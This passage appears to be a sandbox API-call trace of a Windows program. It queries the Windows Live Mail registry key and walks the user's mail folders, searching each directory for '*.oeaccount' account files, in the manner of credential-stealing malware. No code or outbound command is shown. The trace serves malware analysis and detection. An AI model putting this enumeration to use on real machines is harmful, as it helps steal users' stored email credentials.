lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.*", lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 0xffffffff [0074.226] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f350 | out: phkResult=0x30f350*=0x0) returned 0x2 [0074.227] ExpandEnvironmentStringsA (in: lpSrc="", lpDst=0x30f488, nSize=0x104 | out: lpDst="") returned 0x1 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Live Mail", _Str2="") returned 1 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="*.oeaccount") returned 0xb [0074.227] _mbscpy (in: param_1=0x30e944, param_2=0x30ed0c | out: param_1=0x30e944) returned 0x30e944 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _mbscat (in: param_1=0x30e944, param_2=0x4154e8 | out: param_1=0x30e944) returned 0x30e944 [0074.227] FindFirstFileA (in: lpFileName="*.oeaccount", lpFindFileData=0x30ea88 | out: lpFindFileData=0x30ea88) returned 0xffffffff [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="*.*") returned 0x3 [0074.227] _mbscpy (in: param_1=0x30ee54, param_2=0x30f21c | out: param_1=0x30ee54) returned 0x30ee54 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _mbscat (in: param_1=0x30ee54, param_2=0x4147c4 | out: param_1=0x30ee54) returned 0x30ee54 [0074.227] FindFirstFileA (in: lpFileName="*.*", lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 0x7f72b0 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str=".") returned 0x1 [0074.227] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] strcmp (_Str1=".", _Str2="..") returned -1 [0074.227] strcmp (_Str1=".", _Str2=".") returned 0 [0074.227] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="..") returned 0x2 [0074.227] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] strcmp (_Str1="..", _Str2="..") returned 0 [0074.227] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="0B2i4zUHRYI3kPPp6Y.avi") returned 0x16 [0074.227] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.227] strlen (_Str="") returned 0x0 [0074.227] strlen (_Str="0dhb1lQ5Yot7UDpqiLV.rtf") returned 0x17 [0074.227] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] strlen (_Str="") returned 0x0 [0074.227] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.227] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="0Mck7qEx.odt") returned 0xc [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="1rDOjKAp4RUDMzLTH8Wj.mp3") returned 0x18 [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="3YE3z0kK77cT F.wav") returned 0x12 [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="46PXdLLe2Bx.wav") returned 0xf [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="4_0E8edvE.flv") returned 0xd [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="8wGZy1b.png") returned 0xb [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="B4Z1rPYdjgTF8anQ.avi") returned 0x14 [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="BFKe0nWJ-uX glTw7h99.wav") returned 0x18 [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="C9uT6lYTwIA.xlsx") returned 0x10 [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="cISVwXWmuvNvNDM.jpg") returned 0x13 [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] strlen (_Str="") returned 0x0 [0074.228] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.228] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.228] strlen (_Str="") returned 0x0 [0074.228] strlen (_Str="cp16RO_.mp4") returned 0xb [0074.228] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="desktop.ini") returned 0xb [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="DMWUzQLjb06L.flv") returned 0x10 [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="fcG74r-hLZX8KpasEjR.xls") returned 0x17 [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="fEub.wav") returned 0x8 [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="fIE0hH.mp3") returned 0xa [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="Fl_cD2j6qBLGAZWA2SQL.odp") returned 0x18 [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="GSiecs ARL59i.pps") returned 0x11 [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="gt_ueLv0.rtf") returned 0xc [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="i92xqrOtuyGPP.png") returned 0x11 [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.229] strlen (_Str="") returned 0x0 [0074.229] strlen (_Str="ihknzkjo.doc") returned 0xc [0074.229] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] strlen (_Str="") returned 0x0 [0074.229] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.229] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.230] strlen (_Str="") returned 0x0 [0074.230] strlen (_Str="Iq3XvyyaEWO13.mp3") returned 0x11 [0074.230] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] strlen (_Str="") returned 0x0 [0074.230] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.230] strlen (_Str="") returned 0x0 [0074.230] strlen (_Str="j6DZIy9vQbux5.ppt") returned 0x11 [0074.230] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] strlen (_Str="") returned 0x0 [0074.230] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.230] strlen (_Str="") returned 0x0 [0074.230] strlen (_Str="KhpA.jpg") returned 0x8 [0074.230] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] strlen (_Str="") returned 0x0 [0074.230] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.230] strlen (_Str="") returned 0x0 [0074.230] strlen (_Str="kiam-z8FT.png") returned 0xd [0074.230] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] strlen (_Str="") returned 0x0 [0074.230] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.230] strlen (_Str="") returned 0x0 [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] strlen (_Str="") returned 0x0 [0074.230] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.230] strcmp (_Str1="M Py5Nq8", _Str2="..") returned 1 [0074.230] strcmp (_Str1="M Py5Nq8", _Str2=".") returned 1 [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] strlen (_Str="*.oeaccount") returned 0xb [0074.230] _mbscpy (in: param_1=0x30df0c, param_2=0x30e2d4 | out: param_1=0x30df0c) returned 0x30df0c [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] _mbscat (in: param_1=0x30df0c, param_2=0x414078 | out: param_1=0x30df0c) returned 0x30df0c [0074.230] _mbscat (in: param_1=0x30df0c, param_2=0x4154e8 | out: param_1=0x30df0c) returned 0x30df0c [0074.230] FindFirstFileA (in: lpFileName="M Py5Nq8\\*.oeaccount", lpFindFileData=0x30e050 | out: lpFindFileData=0x30e050) returned 0xffffffff [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] strlen (_Str="*.*") returned 0x3 [0074.230] _mbscpy (in: param_1=0x30e41c, param_2=0x30e7e4 | out: param_1=0x30e41c) returned 0x30e41c [0074.230] strlen (_Str="M Py5Nq8") returned 0x8 [0074.230] _mbscat (in: param_1=0x30e41c, param_2=0x414078 | out: param_1=0x30e41c) returned 0x30e41c [0074.230] _mbscat (in: param_1=0x30e41c, param_2=0x4147c4 | out: param_1=0x30e41c) returned 0x30e41c [0074.230] FindFirstFileA (in: lpFileName="M Py5Nq8\\*.*", lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 0x7fb1f8 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str=".") returned 0x1 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strcmp (_Str1=".", _Str2="..") returned -1 [0074.231] strcmp (_Str1=".", _Str2=".") returned 0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="..") returned 0x2 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strcmp (_Str1="..", _Str2="..") returned 0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="01NzqOTSnXiPfWg.wav") returned 0x13 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="6BuL.mp3") returned 0x8 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="8JapO_a0B pdeV.swf") returned 0x12 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="eye27EhQbLHL.bmp") returned 0x10 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="GgPYRX2ux.png") returned 0xd [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="ijdl3PP8E7asB.mkv") returned 0x11 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.231] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.231] strlen (_Str="M Py5Nq8") returned 0x8 [0074.231] strlen (_Str="K F1t- oOUY4n3YY7HFA.wav") returned 0x18 [0074.231] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] strlen (_Str="O0q4uA6i.mkv") returned 0xc [0074.232] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] strlen (_Str="s_UpnGnH6bOtNe0evC.gif") returned 0x16 [0074.232] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] strlen (_Str="yLRsy2oezmQpaMb5Xpsr.mkv") returned 0x18 [0074.232] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] strlen (_Str="z5JYw4cK3pxGs8vo6PWX.xls") returned 0x18 [0074.232] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] strlen (_Str="zvQLP.avi") returned 0x9 [0074.232] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 